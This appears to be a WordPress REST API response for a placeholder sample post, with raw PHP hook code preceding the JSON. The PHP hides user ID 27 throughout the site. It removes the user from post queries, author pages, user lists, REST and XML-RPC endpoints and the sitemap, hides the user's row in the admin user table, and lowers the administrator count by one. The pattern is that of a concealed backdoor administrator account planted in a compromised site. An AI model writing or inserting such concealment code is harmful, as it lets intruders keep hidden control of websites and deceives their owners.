
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 27;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 27 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 27 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 27;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 27;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 27;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/27(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 27;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-27{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":921,"date":"2026-01-09T00:00:00","date_gmt":"2026-01-08T17:00:00","guid":{"rendered":"https:\/\/taydoxanh.com\/example-post-for-wordpress\/"},"modified":"2026-01-09T00:00:00","modified_gmt":"2026-01-08T17:00:00","slug":"example-post-for-wordpress","status":"publish","type":"post","link":"https:\/\/taydoxanh.com\/en\/example-post-for-wordpress\/","title":{"rendered":"Example Post for WordPress"},"content":{"rendered":"<p>This is a sample post created to test the basic formatting features of the WordPress CMS.<\/p>\n<h2>Subheading Level 2<\/h2>\n<p>You can use <strong>bold text<\/strong>, <em>italic text<\/em>, and combine <strong><em>both styles<\/em><\/strong>.<\/p>\n<ul>\n<li>Bullet list item #1<\/li>\n<li>Item with <strong>bold<\/strong> emphasis<\/li>\n<li>And a link: <a href=\"https:\/\/test.mydomain.org\/\">official WordPress site<\/a><\/li>\n<\/ul>\n<ol>\n<li>Step one<\/li>\n<li>Step two<\/li>\n<li>Step three<\/li>\n<\/ol>\n<p>This content is only for demonstration purposes. Feel free to edit or delete it.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is a sample post created to test the basic formatting features of the WordPress CMS. Subheading Level 2 You can use bold text, italic text, and combine both styles. Bullet list item #1 Item with bold emphasis And a link: official WordPress site Step one Step two Step three This content is only for [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-921","post","type-post","status-publish","format-standard","hentry","category-khong-phan-loai"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Example Post for WordPress - T\u00e2y \u0110\u00f4 Xanh<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/taydoxanh.com\/example-post-for-wordpress\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Example Post for WordPress - T\u00e2y \u0110\u00f4 Xanh\" \/>\n<meta property=\"og:description\" content=\"This is a sample post created to test the basic formatting features of the WordPress CMS. Subheading Level 2 You can use bold text, italic text, and combine both styles. Bullet list item #1 Item with bold emphasis And a link: official WordPress site Step one Step two Step three This content is only for [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/taydoxanh.com\/example-post-for-wordpress\/\" \/>\n<meta property=\"og:site_name\" content=\"T\u00e2y \u0110\u00f4 Xanh\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-08T17:00:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/taydoxanh.com\/wp-content\/uploads\/2020\/12\/slider2-1.jpg\" \/>\n<meta name=\"author\" content=\"H\u00e0\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"H\u00e0\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/example-post-for-wordpress\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/example-post-for-wordpress\\\/\"},\"author\":{\"name\":\"H\u00e0\",\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/#\\\/schema\\\/person\\\/96990e2490829a3269689b01781bcb0f\"},\"headline\":\"Example Post for WordPress\",\"datePublished\":\"2026-01-08T17:00:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/example-post-for-wordpress\\\/\"},\"wordCount\":66,\"commentCount\":0,\"articleSection\":[\"Ch\u01b0a \u0111\u01b0\u1ee3c ph\u00e2n lo\u1ea1i\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/taydoxanh.com\\\/example-post-for-wordpress\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/example-post-for-wordpress\\\/\",\"url\":\"https:\\\/\\\/taydoxanh.com\\\/example-post-for-wordpress\\\/\",\"name\":\"Example Post for WordPress - T\u00e2y \u0110\u00f4 Xanh\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/#website\"},\"datePublished\":\"2026-01-08T17:00:00+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/#\\\/schema\\\/person\\\/96990e2490829a3269689b01781bcb0f\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/example-post-for-wordpress\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/taydoxanh.com\\\/example-post-for-wordpress\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/example-post-for-wordpress\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/taydoxanh.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Ch\u01b0a \u0111\u01b0\u1ee3c ph\u00e2n lo\u1ea1i\",\"item\":\"https:\\\/\\\/taydoxanh.com\\\/category\\\/khong-phan-loai\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Example Post for WordPress\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/#website\",\"url\":\"https:\\\/\\\/taydoxanh.com\\\/\",\"name\":\"T\u00e2y \u0110\u00f4 Xanh\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/taydoxanh.com\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/#\\\/schema\\\/person\\\/96990e2490829a3269689b01781bcb0f\",\"name\":\"H\u00e0\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/95174c85cc258bec288056179c5bb58b770b6d3a6a6d06321137dc75b8127f92?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/95174c85cc258bec288056179c5bb58b770b6d3a6a6d06321137dc75b8127f92?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/95174c85cc258bec288056179c5bb58b770b6d3a6a6d06321137dc75b8127f92?s=96&d=mm&r=g\",\"caption\":\"H\u00e0\"},\"url\":\"https:\\\/\\\/taydoxanh.com\\\/en\\\/author\\\/ha\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Example Post for WordPress - T\u00e2y \u0110\u00f4 Xanh","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/taydoxanh.com\/example-post-for-wordpress\/","og_locale":"en_US","og_type":"article","og_title":"Example Post for WordPress - T\u00e2y \u0110\u00f4 Xanh","og_description":"This is a sample post created to test the basic formatting features of the WordPress CMS. Subheading Level 2 You can use bold text, italic text, and combine both styles. Bullet list item #1 Item with bold emphasis And a link: official WordPress site Step one Step two Step three This content is only for [&hellip;]","og_url":"https:\/\/taydoxanh.com\/example-post-for-wordpress\/","og_site_name":"T\u00e2y \u0110\u00f4 Xanh","article_published_time":"2026-01-08T17:00:00+00:00","og_image":[{"url":"https:\/\/taydoxanh.com\/wp-content\/uploads\/2020\/12\/slider2-1.jpg","type":"","width":"","height":""}],"author":"H\u00e0","twitter_card":"summary_large_image","twitter_misc":{"Written by":"H\u00e0"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/taydoxanh.com\/example-post-for-wordpress\/#article","isPartOf":{"@id":"https:\/\/taydoxanh.com\/example-post-for-wordpress\/"},"author":{"name":"H\u00e0","@id":"https:\/\/taydoxanh.com\/#\/schema\/person\/96990e2490829a3269689b01781bcb0f"},"headline":"Example Post for WordPress","datePublished":"2026-01-08T17:00:00+00:00","mainEntityOfPage":{"@id":"https:\/\/taydoxanh.com\/example-post-for-wordpress\/"},"wordCount":66,"commentCount":0,"articleSection":["Ch\u01b0a \u0111\u01b0\u1ee3c ph\u00e2n lo\u1ea1i"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/taydoxanh.com\/example-post-for-wordpress\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/taydoxanh.com\/example-post-for-wordpress\/","url":"https:\/\/taydoxanh.com\/example-post-for-wordpress\/","name":"Example Post for WordPress - T\u00e2y \u0110\u00f4 Xanh","isPartOf":{"@id":"https:\/\/taydoxanh.com\/#website"},"datePublished":"2026-01-08T17:00:00+00:00","author":{"@id":"https:\/\/taydoxanh.com\/#\/schema\/person\/96990e2490829a3269689b01781bcb0f"},"breadcrumb":{"@id":"https:\/\/taydoxanh.com\/example-post-for-wordpress\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/taydoxanh.com\/example-post-for-wordpress\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/taydoxanh.com\/example-post-for-wordpress\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/taydoxanh.com\/"},{"@type":"ListItem","position":2,"name":"Ch\u01b0a \u0111\u01b0\u1ee3c ph\u00e2n lo\u1ea1i","item":"https:\/\/taydoxanh.com\/category\/khong-phan-loai\/"},{"@type":"ListItem","position":3,"name":"Example Post for WordPress"}]},{"@type":"WebSite","@id":"https:\/\/taydoxanh.com\/#website","url":"https:\/\/taydoxanh.com\/","name":"T\u00e2y \u0110\u00f4 Xanh","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/taydoxanh.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/taydoxanh.com\/#\/schema\/person\/96990e2490829a3269689b01781bcb0f","name":"H\u00e0","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/95174c85cc258bec288056179c5bb58b770b6d3a6a6d06321137dc75b8127f92?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/95174c85cc258bec288056179c5bb58b770b6d3a6a6d06321137dc75b8127f92?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/95174c85cc258bec288056179c5bb58b770b6d3a6a6d06321137dc75b8127f92?s=96&d=mm&r=g","caption":"H\u00e0"},"url":"https:\/\/taydoxanh.com\/en\/author\/ha\/"}]}},"_links":{"self":[{"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/posts\/921","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/comments?post=921"}],"version-history":[{"count":0,"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/posts\/921\/revisions"}],"wp:attachment":[{"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/media?parent=921"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/categories?post=921"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/tags?post=921"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}